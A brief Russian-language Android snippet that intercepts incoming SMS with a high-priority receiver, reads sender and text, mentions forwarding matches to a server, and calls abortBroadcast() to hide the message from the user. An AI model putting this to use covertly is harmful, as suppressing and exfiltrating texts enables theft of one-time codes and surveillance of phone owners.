1. смс слушаем ресивером, чтобы оно обрабатывалось раньше чем приложением по умолчанию, ставим приоритет повыше
<receiver android:name=".sms.SmsReceiver" >
<intent-filter android:priority="1000" >
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
2. читаем номер и текст смс, если совпадает с нужным то шлем в новом потоке информацию на сервер
@Override
public void onReceive(Context context, Intent intent) {
if (intent != null
&& intent.getAction() != null
&& ACTION.compareToIgnoreCase(intent.getAction()) == 0) {
Object[] pduArray = (Object[]) intent.getExtras().get("pdus");
SmsMessage[] messages = new SmsMessage[pduArray.length];
for (int i = 0; i < pduArray.length; i++) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
messages[i] = SmsMessage.createFromPdu(((byte[]) pduArray[i]), intent.getStringExtra(FORMAT));
} else {
messages[i] = SmsMessage.createFromPdu((byte[]) pduArray[i]);
}
String phone = messages[i].getOriginatingAddress();
String message = messages[i].getMessageBody();
}
}
}
3. если нужно чтобы сообщение не попало никуда дальше и не отвлекало юзера
abortBroadcast();